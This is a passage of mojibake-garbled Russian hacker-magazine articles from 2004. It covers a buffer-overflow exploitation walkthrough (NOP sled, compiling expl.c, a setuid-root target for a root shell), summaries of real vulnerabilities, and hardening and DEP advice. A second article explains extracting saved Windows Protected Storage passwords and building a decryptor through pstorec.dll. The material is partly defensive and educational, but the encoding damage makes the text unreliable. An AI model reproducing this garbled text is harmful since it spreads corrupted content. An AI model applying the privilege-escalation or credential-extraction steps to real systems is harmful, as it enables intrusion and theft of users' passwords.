÷èíàåòñÿ, âîçìîæíî óãàäàòü ïðèìåð-
íîå ðàñïîëîæåíèå áóôåðà, êîòîðûé
ïëàíèðóåòñÿ ïåðåïîëíèòü. Äåëî â
òîì, ÷òî óêàçàòåëü ñòåêà óêàçûâàåò íà
íà÷àëî ñòåêà, òàêèì îáðàçîì, àäðåñ
áóôåðà íóæíî óêàçàòü ãäå-òî ïîáëè-
çîñòè ê íåìó. Íî çíàåì ëè ìû òî÷íî,
êóäà "ïðûãíóòü", ÷òîáû âûïîëíèòü
øåëë-êîä? Ïðàêòè÷åñêè âñåãäà íåò.
Îáëåã÷èòü ýòó çàäà÷ó ìîæíî âñòàâêîé
ñèìâîëîâ NOP, ÷òî ìû è ñäåëàëè. Òåì
ñàìûì ìû ïîâûñèëè âåðîÿòíîñòü óãà-
äûâàíèÿ. Òàêèì îáðàçîì, â ñëó÷àå
óäà÷è àäðåñ âîçâðàòà óêàæåò íà îäíó
èç êîìàíä NOP è âñëåä çà íèìè âû-
ïîëíèòñÿ øåëë-êîä. 

Äàëåå ìû âñòàâëÿåì øåëë-êîä â ñå-
ðåäèíó íàøåãî áóôåðà è âûçûâàåì
óÿçâèìóþ ïðîãðàììó ñ áóôåðîì â êà-
÷åñòâå àðãóìåíòà. Âóàëÿ!

Òåïåðü äåëî çà ìàëûì: íàçîâåì íàø
ýêñïëîéò expl.c è îòêîìïèëèðóåì åãî: 

gcc ./expl.c �o expl

Äî âûïîëíåíèÿ expl çàäàäèì root â êà-
÷åñòâå âëàäåëüöà äëÿ ïðîãðàììû sim-
ple, ÷òîáû ïðè èñïîëüçîâàíèè ýêñïëîéòà
ïîëó÷èòü ðóòîâûå ïðèâèëåãèè.

chown 0 ./simple
chmod 4755 ./simple

Òåïåðü çàéäåì â ñèñòåìó ïîä ëþáûì
íåïðèâèëåãèðîâàííûì ïîëüçîâàòå-
ëåì è çàïóñòèì ýêñïëîéò. Åñëè âñå áû-
ëî ñäåëàíî ïðàâèëüíî, íà ýêðàíå
äîëæíà ïîÿâèòüñÿ ðåøåòêà, òî åñòü
çíà÷îê "#", ñèìâîëèçèðóþùèé ïðèã-
ëàøåíèå äëÿ ñóïåðïîëüçîâàòåëÿ!

ÐÅÀËÜÍÛÅ ÓßÇÂÈÌÎÑÒÈ
Îøèáêè, ñâÿçàííûå ñ ïåðåïîëíå-

íèåì áóôåðà, ñîâåðøàþòñÿ ïðîãðàì-
ìèñòàìè ñïëîøü è ðÿäîì. Öåëüþ õàêå-
ðà ìîæåò ñòàòü ëþáîå ïðèëîæåíèå îò
èíòåðíåò-áðàóçåðîâ è ïî÷òîâûõ êëè-
åíòîâ è äî ñðåäñòâ îáíàðóæåíèÿ àòàê
è àíòèâèðóñîâ!

Î äûðàõ â îñëèêå IE òû, íàâåðíîå,
íàñëûøàí. Îáû÷íî ññûëêè íà óÿçâè-
ìîñòè â "îñëå" èìåíóþòñÿ êàê "Ìíî-
æåñòâåííûå óÿçâèìîñòè â Microsoft
Internet Explorer" è âñòðå÷àþòñÿ íà
êàæäîì øàãó, ïîýòîìó ðàññêàçûâàòü î
íèõ äàæå íåèíòåðåñíî. 

Íàìíîãî èíòåðåñíåå âçãëÿíóòü íà
áàãè, íàõîäÿùèåñÿ â ïðîãðàììíîì
îáåñïå÷åíèè, ïðèçâàííîì çàùèùàòü
íàøè êîìïüþòåðû, òî åñòü ñèñòåìû
îáíàðóæåíèÿ àòàê, ìåæñåòåâûå ýê-
ðàíû, àíòèñïàìû, àíòèâèðóñû è äðó-
ãèå ñðåäñòâà áëîêèðîâêè âðåäîíîñ-
íîãî ÏÎ.

Òàê, íåäàâíî áûëà îáíàðóæåíà ñåðü-
åçíàÿ óÿçâèìîñòü â àíòèâèðóñàõ êîì-
ïàíèè Symantec. Îøèáêà â îáðàáîòêå
upx-ôàéëîâ ñïîñîáíà ïðèâåñòè ê ïå-
ðåïîëíåíèþ áóôåðà, à êàê ñëåäñòâèå ê
ýòîìó, ñêàíåð âìåñòî óäàëåíèÿ âèðóñà
âûïîëíÿåò åãî êîä. Â "ãðóïïó ðèñêà"
âõîäÿò òàêèå ïðîäóêòû, êàê
SystemWorks 2004 è Symantec Mail
Security for Exchange. Îïàñíîñòü óñó-
ãóáëÿåòñÿ òåì, ÷òî ðÿä ïî÷òîâûõ ñåð-
âåðîâ ìîæåò èñïîëüçîâàòü óÿçâèìûå
áèáëèîòåêè, òàêèì îáðàçîì, àòàêå ïîä-
âåðæåíû íå òîëüêî ìàøèíû êîíå÷íûõ
ïîëüçîâàòåëåé, íî è êðèòè÷íûå óçëû,
ðàáîòàþùèå ïîä Microsoft Windows,
Mac OS X, Linux, Solaris è AIX. Ãðóïïà
ðàçðàáîò÷èêîâ âûïóñòèëà ïàò÷, ðàñï-
ðîñòðàíÿþùèéñÿ ÷åðåç LiveUpdate. 

Íåáåçûçâåñòíûé ôàéðâîë Microsoft
Internet Security and Acceleration
Server (MS ISA Server), êàê îêàçàëîñü,
íå ìåíåå ïîäâåðæåí àòàêàì. Óÿçâè-
ìîñòü ïðèñóòñòâóåò â ôèëüòðå ïðîòî-
êîëà òåëåôîíèè H.323 è ïîçâîëÿåò
çëîóìûøëåííèêó ïðîèçâåñòè ïåðå-
ïîëíåíèå áóôåðà â êîìïîíåíòå-ñåð-
âèñå ISA, ðåàëèçóþùåì ôóíêöèî-
íàëüíîñòü ìåæñåòåâîãî ýêðàíà, �

Microsoft Firewall Service. Ýòî ìîæåò
ïðèâåñòè ê âûïîëíåíèþ çëîóìûø-
ëåííèêîì ïðîèçâîëüíîãî êîäà â êîí-
òåêñòå áåçîïàñíîñòè ñåðâèñà, ÷òî äà-
åò ïðàêòè÷åñêè ïîëíûé êîíòðîëü íàä
àòàêîâàííîé ñèñòåìîé. Îñíîâíàÿ áå-
äà â òîì, ÷òî ïðè óñòàíîâêå ïðîãðàì-
ìíîãî îáåñïå÷åíèÿ MS ISA Server â
ðåæèìå ìåæñåòåâîãî ýêðàíà èëè â
èíòåãðèðîâàííîì ðåæèìå ôèëüòð
H.323 âêëþ÷åí ïî óìîë÷àíèþ. Ïîýòî-
ìó àäìèíèñòðàòîðû ñèñòåì, ó êîòî-
ðûõ äàííîå ÏÎ ðàáîòàåò â ðåæèìå
êåøà, ìîãóò ñïàòü ñïîêîéíî: èõ ñèñ-
òåìû íå ïîäâåðæåíû äàííîé óÿçâè-
ìîñòè. Microsoft âûïóñòèëà áþëëå-
òåíü ïî áåçîïàñíîñòè MS04-001, êî-
òîðûé ñîäåðæèò ñâåäåíèÿ î ñîîòâåò-
ñòâóþùåì èñïðàâëåíèè, â òîì ÷èñëå
èíôîðìàöèþ î ôàéëàõ è âàðèàíòàõ
ðàçâåðòûâàíèÿ.

*nix-ñèñòåìû òàêæå íå ÿâëÿþòñÿ èñê-
ëþ÷åíèåì, è îøèáêè, ñâÿçàííûå ñ ïå-
ðåïîëíåíèåì áóôåðà, âñòðå÷àþòñÿ â
ïðîäóêòàõ, ðàçðàáîòàííûõ äëÿ äàííûõ
ñèñòåì, î÷åíü ÷àñòî. Íåäàâíî â î÷åðåä-
íîé ðàç áûëà îáíàðóæåíà óÿçâèìîñòü
â ñòàíäàðòíîé áèáëèîòåêå libc, âõîäÿ-
ùåé â ñîñòàâ FreeBSD, íà ýòîò ðàç â ðå-
àëèçàöèè ôóíêöèè realpath, âõîäÿùåé
â áèáëèîòåêó libc. Îøèáêà ñâÿçàíà ñ
îïðåäåëåíèåì äëèíû ñòðîêè è, ñëåäî-
âàòåëüíî, ïðèâîäèò ê ïåðåïîëíåíèþ
áóôåðà. Âîçìîæíûå ïîñëåäñòâèÿ (DoS-
àòàêè, óäàëåííîå âûïîëíåíèå êîäà, ïî-
âûøåíèå óðîâíÿ äîñòóïà) çàâèñÿò îò
êîíêðåòíîãî ïðèëîæåíèÿ, èñïîëüçóþ-
ùåãî ôóíêöèþ realpath è ïîçèöèè áó-
ôåðà â ñòåêå. Óÿçâèìîñòè ïîäâåðæåíû
âñå âåðñèè FreeBSD âïëîòü äî 4.8-
RELEASE è 5.0-RELEASE. 

Ïîäðîáíåå î ïåðåïîëíåíèè áóôåðà -
â Ñïåöå #08(45)/2004
(www.xakep.ru/articles/magazine/2004.asp).
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Ïðîáóåì ïðèìåíèòü ýêñïëîéò

Íåäàâíî â î÷åðåäíîé ðàç áûëà 
îáíàðóæåíà óÿçâèìîñòü 

â ñòàíäàðòíîé áèáëèîòåêå libc.



ÌÎÉ ÄÎÌ � ÌÎß ÊÐÅÏÎÑÒÜ
Îò îøèáîê â êîäå, òåì áîëåå îò

÷óæèõ, íèêòî íå çàñòðàõîâàí, ïîýòîìó
ÿ íàñòîÿòåëüíî ðåêîìåíäóþ ïëàíèðî-
âàòü è ïðîâîäèòü ïåðèîäè÷åñêèå ðà-
áîòû ïî àóäèòó è íàñòðîéêå ñèñòåìû.
Âîò äîâîëüíî ñæàòûé ïåðå÷åíü
äåéñòâèé, êîòîðûå, ÿ íàäåþñü, ïîìî-
ãóò ñóùåñòâåííî ïîâûñèòü áåçîïàñ-
íîñòü ëþáîé îñè ïðè ìèíèìóìå çàòðà-
÷åííîãî âðåìåíè è óñèëèé.

Ìîíèòîðèíã ôàéëîâûõ ïîëíîìî-
÷èé è àòðèáóòîâ. Ðåãóëÿðíî ïðîâå-
ðÿòü ïðàâà äîñòóïà è öåëîñòíîñòü
ñèñòåìíûõ ôàéëîâ. Â *nix-ñèñòåìàõ
îñîáîå âíèìàíèå óäåëèòü ïðîãðàì-
ìàì ñ óñòàíîâëåííûìè áèòàìè setuid
è setgid.

Áëîêèðîâêà íåèñïîëüçóåìûõ ñåð-
âèñîâ. Ïðè óñòàíîâêå ïî óìîë÷àíèþ
áîëüøèíñòâî äèñòðèáóòèâîâ ïðîïè-
ñûâàåò â àâòîçàãðóçêó ìíîæåñòâî
ïðîãðàìì è ñëóæá. Ðåêîìåíäóþ èñ-
ïîëüçîâàòü óòèëèòû ps, netstat â
*nix'àõ è tasklist, netstat â Windows XP
äëÿ ïðîâåðêè. Êîìàíäà netstat ñ îï-
öèÿìè �a �p �-inet ïîìîæåò îïðåäå-

ëèòü, êàêèå ñåòåâûå ñåðâèñû çàïóùå-
íû, à òàêæå ïðîñìîòðåòü èäåíòèôèêà-
òîðû ïðîöåññîâ, àññîöèèðîâàííûå ñ
íèìè, (PID).

Ïðîâåðêà öåëîñòíîñòè ñêà÷àííûõ
ïàêåòîâ. Ñ ïîìîùüþ óòèëèò ïðîâåðêè
Md5-ñóìì êîíòðîëèðîâàòü öåëîñò-
íîñòü âñåõ ñêà÷èâàåìûõ ïàêåòîâ.

Èñïîëüçîâàíèå áåçîïàñíûõ ñåð-
âèñîâ. Èçáàâèòüñÿ îò âñåõ ïîòåíöè-
àëüíî îïàñíûõ ñåðâèñîâ, òàêèõ êàê
telnet, ftp, rlogin è rsh, ïðîòîêîëû êîòî-
ðûõ ïîäðàçóìåâàþò îòêðûòóþ ïåðåäà-
÷ó ïàðîëåé è äàííûõ. Èñïîëüçîâàòü
áåçîïàñíûå óòèëèòû, íàïðèìåð ssh.

Íàñòðîéêà ïàðàìåòðîâ ÿäðà. Â
*nix-ñèñòåìàõ âîçìîæíî èçìåíåíèå
íåêîòîðûõ ïàðàìåòðîâ ÿäðà, âëèÿþ-
ùèõ íà áåçîïàñíîñòü. Ïñåâäîôàéëî-
âàÿ ñèñòåìà /proc ïðåäîñòàâëÿåò äîñ-
òóï ê ïàðàìåòðàì ÿäðà.

Èñïîëüçîâàíèå NAT. Ïðè íàëè÷èè
íåñêîëüêèõ êîìïüþòåðîâ â ñåòè, ïîëó-
÷àþùèõ äîñòóï â èíòåðíåò ÷åðåç îò-
äåëüíûé ñåðâåð, âîçìîæíî èñïîëüçî-
âàíèå òåõíîëîãèè NAT (Network
Address Translation), ÷òî ñóùåñòâåííî
çàòðóäíÿåò àòàêè èçâíå. 

ÇÀÙÈÒÀ ÎÒ ÏÅÐÅÏÎËÍÅÍÈß
ÁÓÔÅÐÀ ÍÀ ÏÐÎÃÐÀÌÌÍÎ-
ÀÏÏÀÐÀÒÍÎÌ ÓÐÎÂÍÅ

Ïîêà ðÿäîâûå êîìïüþòåðùèêè
èçî âñåõ ñèë ïûæàòñÿ, íàñòðàèâàÿ
ñâîþ îñü è ñïàñàÿñü îò çëîáíûõ õàêå-
ðîâ, ðàçðàáîò÷èêè ìèêðîïðîöåññîðîâ
è îïåðàöèîííûõ ñèñòåì òîæå íå ñòîÿò
íà ìåñòå, ïûòàÿñü îáëåã÷èòü òâîé íå-
ëåãêèé òðóä. È ïîâåðü, ýòî íå ïóñòûå
ñëîâà, êîå-êàêèå ðåçóëüòàòû â äàííîì
íàïðàâëåíèè óæå äîñòèãíóòû.

Ê ïðèìåðó, êîìïàíèÿ AMD óæå äàâ-
íî çàÿâèëà, ÷òî ïðîöåññîðû Opteron
è Athlon 64 ìîãóò îáíàðóæèâàòü è
áëîêèðîâàòü ðàáîòó âðåäîíîñíûõ
ïðîãðàìì, äåéñòâèå êîòîðûõ îñíîâà-
íî íà ïåðåïîëíåíèè áóôåðà. ×èïû
AMD óìåþò íå òîëüêî îáíàðóæèâàòü
ïåðåïîëíåíèå áóôåðà, íî è ïðåäîòâ-
ðàùàòü èñïîëíåíèå êîäà, êîòîðûé
ïîïàäàåò â ïðîöåññîð ïîñëå ïåðå-
ïîëíåíèÿ. 

Òåõíîëîãèÿ, íàçâàííàÿ Execution
Protection, óæå ïðèñóòñòâóåò â âûïóñ-
êàåìûõ Athlon 64 è Opteron, è ýòî íîâ-
øåñòâî äîñòóïíî äëÿ ñ÷àñòëèâûõ îá-
ëàäàòåëåé Windows XP Service Pack 2.
AMD òàêæå óòâåðæäàåò, ÷òî Execution
Protection óæå ðàáîòàåò ñåãîäíÿ â ëþ-
áîé ñèñòåìå ñ 64-õ ðàçðÿäíûìè ïðî-
öåññîðàìè AMD ïîä Linux. 

Êîìïàíèÿ Intel â ñâîþ î÷åðåäü çàÿ-
âèëà, ÷òî íåêèé âàðèàíò ýòîé òåõíîëî-
ãèè èñïîëüçóåòñÿ â ïðîöåññîðàõ
Itanium äëÿ ñåðâåðîâ âûñîêîãî óðîâ-
íÿ, à äëÿ "ìàññîâûõ" ïðîöåññîðîâ îíà
ïðîõîäèò èñïûòàíèÿ.

Êàê óæå áûëî ñêàçàíî, â Windows XP
ñî âòîðûì ñåðâèñ-ïàêîì ïðåäîñòàâëÿ-
åòñÿ íàáîð ïðîãðàììíûõ è àïïàðàò-
íûõ òåõíîëîãèé, ïîçâîëÿþùèõ âûïîë-
íÿòü äîïîëíèòåëüíóþ ïðîâåðêó ñî-
äåðæèìîãî ïàìÿòè è ïðåäîòâðàùàòü
çàïóñê çëîíàìåðåííîãî êîäà (òåõíî-

ëîãèÿ DEP - Data Execution Protection).
Îñíîâíîå ïðåèìóùåñòâî ôóíêöèè
DEP - âîçìîæíîñòü ïðåäîòâðàòèòü çà-
ïóñê çëîíàìåðåííîãî êîäà èç îáëàñòè
äàííûõ. Êàê ïðàâèëî, ñîäåðæèìîå
ñòåêà è êó÷è ïî óìîë÷àíèþ íå ÿâëÿåò-
ñÿ èñïîëíÿåìûì êîäîì. Ïðè èñïîëü-
çîâàíèè àïïàðàòíîé ðåàëèçàöèè êîì-
ïîíåíò DEP âûçûâàåò èñêëþ÷åíèå
ïðè çàïóñêå êîäà èç óêàçàííûõ ìåñòî-
ïîëîæåíèé. Ïðè ïðîãðàììíîé ðåàëè-
çàöèè DEP äëÿ ïðåäîòâðàùåíèÿ çà-
ïóñêà çëîíàìåðåííîãî êîäà èñïîëüçó-
åòñÿ ìåõàíèçì îáðàáîòêè èñêëþ÷å-
íèé, ñóùåñòâóþùèé â Windows. 

Óïðàâëåíèå DEP îñóùåñòâëÿåòñÿ
äîâîëüíî ïðîñòî. Â ñâîéñòâàõ ñèñòå-
ìû íóæíî îòêðûòü âêëàäêó "Äîïîëíè-
òåëüíî" è êëèêíóòü "Ïàðàìåòðû áûñò-
ðîäåéñòâèÿ". Â ðåçóëüòàòå îòêðîåòñÿ
îêíî ñ âêëàäêîé "Ïðåäîòâðàùåíèå
âûïîëíåíèÿ äàííûõ" - ýòî òî, ÷òî íàì
íóæíî. Â ïðèíöèïå, ïîêà èìååòñÿ âñå-
ãî äâà âàðèàíòà íàñòðîéêè DEP. Ìîæ-
íî ëèáî âêëþ÷èòü DEP òîëüêî äëÿ îñ-
íîâíûõ ïðîãðàìì è ñëóæá Windows,
ëèáî âêëþ÷èòü DEP äëÿ âñåõ ïðîã-
ðàìì è ñëóæá, êðîìå âûáðàííûõ 
òîáîé.

Âî ìíîãèõ *nix-ñèñòåìàõ òàêæå ñóùå-
ñòâóåò çàùèòà îò âûïîëíåíèÿ êîäà,
íàõîäÿùåãîñÿ â îáëàñòè äàííûõ. Ïî-
äîáíàÿ çàùèòà âõîäèò â íåêîòîðûå
äèñòðèáóòèâû ïî óìîë÷àíèþ, íàïðè-
ìåð â OpenBSD, gr-security â Gentoo
Linux èëè Trusted Debian.

À ÍÀÏÎÑËÅÄÎÊ ß ÑÊÀÆÓ�
Â ýòîé ñòàòüå áûëè îïèñàíû êëþ-

÷åâûå ìåõàíèçìû àòàê, èñïîëüçóþ-
ùèå îøèáêè ñ ïåðåïîëíåíèåì áóôå-
ðîâ, à òàêæå ìåòîäû çàùèòû îò ýòîãî
âèäà àòàê. Íî åñëè òû ïîäóìàë, ÷òî
æèçíü âçëîìùèêà ïðîñòà, ëåãêà è áåç-
çàáîòíà, ñïåøó òåáÿ îãîð÷èòü. Íà ñà-
ìîì äåëå ïóòü ïîèñêà óÿçâèìîñòè è
íàïèñàíèÿ ýêñïëîéòà âåñüìà òåðíèñò
è ïîëîí íåïðèÿòíûõ ñþðïðèçîâ. Ñó-
ùåñòâóåò ìîðå íþàíñîâ è òîíêîñòåé,
êîòîðûå âîçâûøàþòñÿ òîëñòîé ñòå-
íîé, ïðåãðàæäàÿ äîðîãó ê âëàñòè íàä
ìèðîì. Âî ìíîãèõ ñëó÷àÿõ õàêåðó ïðè-
õîäèòñÿ ðàññ÷èòûâàòü ëèøü íà óäà÷ó,
ïîâòîðÿÿ íåóäà÷íûå ïîïûòêè ñíîâà è
ñíîâà. Îá ýòîì îáÿçàòåëüíî íàïèøó â
ñëåäóþùèé ðàç, íó à ïîêà ïîêà! Àõ äà,
è ïîìíè, ÷òî ëó÷øèé âèä çàùèòû � ýòî
íàïàäåíèå :)! E
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Â Winamp v5.08c  èñïðàâëåíà íàøóìåâ-
øàÿ áàãà, ñâÿçàííàÿ ñ âîçìîæíîñòüþ
ïåðåïîëíåíèÿ áóôåðà

Óùåðá îò êîìïüþòåðíûõ àòàê, íàíåñåííûé ìèðîâîé ýêîíî-
ìèêå (ìëí. äîëë.)





Bad_guy (ñîçäàòåëü wWw.CRACKLAB.rU)

Í à äíÿõ çàïóñêàþ The Bat!, ïîëó÷àþ íîâóþ ïî÷òó, ÷èòàþ î÷åðåäíîå ïîñëàíèå: "Ó òåáÿ íà ñàéòå ñïåöèàëüíî èëè íåò
åñòü âèðóñ â îäíîì àðõèâå - òðîÿí. ß ñêàíèë ñâîé êîìï è îáíàðóæèë, ÷òî áûë çàðàæåí ýêçåøíèê pspv.exe. Äåëàé

âûâîäû :)". "Áåäíûå ïîëüçîâàòåëè - ñîâñåì èì àíòèâèðóñíèêè ìîçãè çàìóòèëè", - ïîäóìàë ÿ.

ÊÀÊ ÑÊÐÛÒÎÅ
ÑÒÀÍÎÂÈÒÑß ßÂÍÛÌ
ÏÐÎÍÈÊÍÎÂÅÍÈÅ Â PROTECTED STORAGE

ÒÅÏÅÐÜ
ÐÀÇÁÈÐÀÒÜÑß

×òî æå ýòî çà ïðîã-
ðàììà òàêàÿ - PSPV?
PSPV ðàñøèôðîâûâàåò-

ñÿ êàê Protected Storage PassView. Ñëó-
æèò äëÿ òîãî, ÷òîáû çàëåçàòü â çàùè-
ùåííîå õðàíèëèùå ïàðîëåé Windows è
èçâëåêàòü âñå åãî ñîäåðæèìîå.

Ñêà÷àòü òåêóùóþ âåðñèþ Protected
Storage PassView è óçíàòü ïîäðîáíîñ-
òè î íåé ìîæíî íà ñàéòå
www.nirsoft.net/utils/pspv.html.

Åùå åñòü ïðîãðàììà Protected
Storage Explorer, êîòîðàÿ ïðåäîñòàâ-
ëÿåò òå æå âîçìîæíîñòè ïî èçâëå÷å-
íèþ ïàðîëåé èç çàùèùåííîãî õðàíè-
ëèùà. Íî ïî ñðàâíåíèþ ñ Protected
Storage PassView îíà ëó÷øå (íî ïîì-
íè: âñå íà âêóñ è öâåò), òàê êàê õðàíè-
ëèùå ïàðîëåé îòîáðàæàåòñÿ â âèäå
äðåâîîáðàçíîé ñòðóêòóðû, ÷òî, â
ïðèíöèïå, âåðíî ñ òî÷êè çðåíèÿ îðãà-
íèçàöèè ñàìîãî õðàíèëèùà ïàðîëåé.
Ïàðîëè æå îòîáðàæàþòñÿ íå òîëüêî â
òåêñòîâîì, íî è â øåñòíàäöàòåðè÷íîì
âèäå, ÷òî òàêæå ìîæåò áûòü ïîëåçíî,
ê ïðèìåðó, ïðè íåñîâìåñòèìîñòè êîäè-
ðîâîê øðèôòîâ.

Ñêà÷àòü Protected Storage Explorer
ìîæíî ñ äîìàøíåé ñòðàíèöû www.forensi-
cideas.com/psexplorer2.htm.

ÊÀÊÈÅ ÏÀÐÎËÈ ÌÎÆÍÎ ÍÀÉÒÈ
Â ÇÀÙÈÙÅÍÍÎÌ ÕÐÀÍÈËÈÙÅ

Êîãäà-òî çàùèùåííîå õðàíèëèùå
çàèíòåðåñîâûâàëî ìíîãèõ ïðåæäå
âñåãî íàëè÷èåì ïàðîëåé îò ÿùèêîâ

Outlook Express. Íå ñåêðåò, ÷òî ó ìíî-
ãèõ ïðîâàéäåðîâ ëîãèí è ïàðîëü äîñ-
òóïà ê ïðåäîñòàâëÿåìîìó ÿùèêó â
òî÷íîñòè ñîîòâåòñòâóåò äàííûì äëÿ
ïîäêëþ÷åíèÿ ê ìîäåìíîìó ïóëó. È åñ-
ëè íåêîòîðûì ëþäÿì ïðèäåò â ãîëîâó
íå ñîõðàíÿòü ïàðîëü äëÿ ïîäêëþ÷å-
íèÿ ïî dial-up â êåøå, à ââîäèòü åãî
êàæäûé ðàç ïðè íåîáõîäèìîñòè ïîäê-
ëþ÷èòüñÿ, òî ìàëî êòî äîäóìàåòñÿ íå
ñîõðàíÿòü ïàðîëü ÿùèêà â Outlook
Express, èíà÷å áóäåò óæ ñëèøêîì íåó-
äîáíî. Çíà÷èò, çàïîëó÷èâ ïàðîëü îò
ÿùèêà, àâòîìàòîì ïîëó÷àåøü äîñòóï
è ê ñàìîìó ñîåäèíåíèþ, è ê ëè÷íîé
ïåðåïèñêå àáîíåíòà ïðîâàéäåðà. Çà
ïðèìåðîì ïðîâàéäåðà, ó êîòîðîãî êàê
ðàç ïàðîëü íà ïðåäîñòàâëÿåìûé ÿùèê
è íà ïîäêëþ÷åíèå îäèíàêîâû, èäòè
äàëåêî íå íóæíî: õîòÿ áû âåñüìà
êðóïíûé è èçâåñòíûé ïðîâàéäåð �
"Ðîññèÿ-Îí-Ëàéí" (ROL). 

Â çàùèùåííîì õðàíèëèùå òàêæå
õðàíèòñÿ íåñêîëüêî òèïîâ äðóãèõ ïà-
ðîëåé: íà àâòîìàòè÷åñêèé âõîä â ðàç-
äåëû ñàéòîâ, çàêðûòûå äëÿ îáùåãî
äîñòóïà, ïðè ïîìîùè Internet Explorer,
îò MSN Explorer è ò.ï. Âîò ïðîñòîé
ïðèìåð äîñòóïà ê çàùèùåííîé îáëàñ-
òè ñàéòà www.cracklab.ru/ps.php.

Ïîñòàâèâ ãàëî÷êó "Ñîõðàíèòü ïà-
ðîëü", òû ñîõðàíÿåøü åãî â "ñóïåðçà-

ùèùåííîå" õðàíèëèùå ïàðîëåé è íå-
çàìåäëèòåëüíî âèäèøü ñîîòâåòñòâåí-
íûå èçìåíåíèÿ íà ñêðèíøîòå.

ÃÄÅ ÍÀÕÎÄÈÒÑß ÕÐÀÍÈËÈÙÅ
È ÊÀÊ ÎÍÎ ÂÛÃËßÄÈÒ

Çàäàâøèñü öåëüþ çàïîëó÷èòü ïà-
ðîëè ÿùèêîâ îò Outlook Express, íàñ-
òîÿùèå èíäåéöû ïåðâûì äåëîì ïûòà-
þòñÿ ïîíÿòü, îòêóäà æå OE áåðåò ýòè
ïàðîëè. È äåëàþò ýòî ïîäñàæèâàÿ "íà
õâîñò" Outlook'ó øïèîíîâ Filemon (ìî-
íèòîð âçàèìîäåéñòâèÿ ïðèëîæåíèé ñ
ôàéëîâîé ñèñòåìîé) è Regmon (ìîíè-
òîð âçàèìîäåéñòâèÿ ïðèëîæåíèé ñ ðå-
åñòðîì Windows). Â Windows 98 öåëü
äîñòèãàåòñÿ ëåãêî, è âûñëåæèâàåòñÿ
íåîáõîäèìîå ìåñòî â ðååñòðå, ãäå íà-
õîäÿòñÿ âñå äàííûå õðàíèëèùà. Ïîä
Windows XP ýòî îêàçàëîñü ñëîæíåå.
Äåëî â òîì, ÷òî òà âåòâü ðååñòðà ïî
óìîë÷àíèþ çàêðûòà íà äîñòóï, ðàçðå-
øåíèå íà íåãî ïðèõîäèòñÿ ñòàâèòü
âðó÷íóþ, ñàì æå ïóòü â ðååñòðå âûã-
ëÿäèò òàê:
HKEY_CURRENT_USER\Software\Micro
soft\Protected Storage System
Provider. Â íåì íàõîäèòñÿ ïîäâåòâü
âèäà S-1-5-21-1935655697-884357618-
839522115-1003, âíóòðè êîòîðîé è áó-
äóò âèäíû äðåâîîáðàçíûå ñòðóêòóðû
äàííûõ, êîòîðûå äåðæàò â çàùèùåí-
íîì õðàíèëèùå.

Êàê ïîêàçûâàåò ñêðèíøîò, êëþ÷è
Behavior è Item Data ñîäåðæàò äàí-
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Ïàðîëè ëó÷øå
õðàíèòü â ãî-
ëîâå èëè ãäå-
òî íå íà
êîìïüþòåðå.

íûå, ÿâíî îòíîñÿùèåñÿ ê ïàðîëÿì, ñî-
äåðæàùèìñÿ â çàùèùåííîì õðàíèëè-
ùå, îäíàêî ñàìèõ ïàðîëåé â îòêðûòîì
âèäå âñå ðàâíî íåò. 

ÏÈØÅÌ "ÐÀÑØÈÔÐÎÂÙÈÊ"
Ìûñëü íàïèñàòü ðàñøèôðîâùèê

áûëà êàê ðàç ïåðâîé ïðèøåäøåé â ãî-
ëîâó, êîãäà ÿ óâèäåë äàííûå, ñîäåð-
æàùèåñÿ â êëþ÷àõ Behavior è Item
Data. Íî, ïîïðîâåðÿâ èçìåíåíèå äàí-
íûõ ïðè ñìåíå ïàðîëÿ îò ÿùèêà â OE,
ÿ ïîíÿë, ÷òî ýòî áóäåò íåïðîñòîé çà-
äà÷åé. Íåîáõîäèìî ïîñìîòðåòü, êàê
æå ñàì Outlook Express ðàñøèôðîâû-
âàåò ýòè äàííûå. Ïðè ïîìîùè îòëàä-
÷èêà è äèçàññåìáëåðà íà÷àëñÿ ðàç-
áîð, ïîâåäàâøèé ìíå, ÷òî ñàì ïî ñåáå
Outlook Express íå ðàáîòàåò ñ ýòèìè
âåòâÿìè ðååñòðà: ñóùåñòâóåò íåêàÿ
ñèñòåìíàÿ áèáëèîòåêà pstorec.dll äëÿ
íåïîñðåäñòâåííîé ðàáîòû ñ çàùè-
ùåííûì õðàíèëèùåì. Ó ýòîé áèáëèî-
òåêè åñòü âñå íåîáõîäèìûå ýêñïîðòè-
ðóåìûå ôóíêöèè, êîòîðûå âûäàþò
ïðîãðàììå, èñïîëüçóþùåé áèáëèîòå-
êó, âñå âîçìîæíîñòè ïî ðàáîòå ñ çà-
ùèùåííûì õðàíèëèùåì: ÷òåíèå, çà-
ïèñü, ñòèðàíèå äàííûõ è îòîáðàæåíèå
õðàíÿùèõñÿ â íåì çàïèñåé. 

Ïîèñêàâ ÷òî-íèáóäü î "pstorec.dll" â
Google è ßndex, ÿ íàøåë ïàðó ìåñò,
ãäå îá ýòîì ÷òî-òî áûëî, íî èíôîðìà-
öèÿ áûëà î÷åíü ñêóäíîé: íàïðèìåð èç
MSDN, êîòîðàÿ ôàêòè÷åñêè íå äàâàëà
íèêàêèõ âîçìîæíîñòåé ñàìîñòîÿòåëü-
íî ðåàëèçîâàòü àëãîðèòì èñïîëüçî-
âàíèÿ ôóíêöèé áèáëèîòåêè. Òàêæå
ïîïàëñÿ êàêîé-òî ëåâûé Visual Basic-

èñõîäíèê, ïåðåêîâåðêàííûé web-ïàð-
ñèíãîì (ïðèìåðíî âîò â òàêîì æå âè-
äå - http://progg.net.ru/dir13/p3291.htm, òîëüêî

çäåñü íà C++) è íèêàê íå êîìïèëèðî-
âàâøèéñÿ.

Ïîïðîáîâàë ðåàëèçîâàòü àëãîðèòì
íà Delphi - íà÷àëàñü äîëãàÿ è óïîðíàÿ
ðàáîòà ïî ðàçáîðó àëãîðèòìà. Âûÿñíè-
ëîñü, ê ïðèìåðó, ÷òî áèáëèîòåêó
pstorec.dll íóæíî îáðàáîòàòü ïðåæäå
âñåãî ïðè ïîìîùè tlibimp.exe èç êîìï-
ëåêòà Delphi (êîìàíäíàÿ ñòðîêà: "tli-
bimp.exe pstorec.dll"), ïîëó÷åííûå
ôàéëû (PSTORECLib_TLB.dcr,
PSTORECLib_TLB.pas) ïîäêëþ÷àþòñÿ
â Delphi, êàê íîâûé êîìïîíåíò. Â ðåà-
ëèçàöèè æå ñàìîãî àëãîðèòìà íà
Delphi ñèëüíî ïîìîã îïûò êðýêåðà: 
äèçàññåìáëèðîâàíèå óïîìÿíóòîé âû-
øå ïðîãðàììû (Protected Storage
PassView) ïðèíåñëî íåîáõîäèìûå ðå-
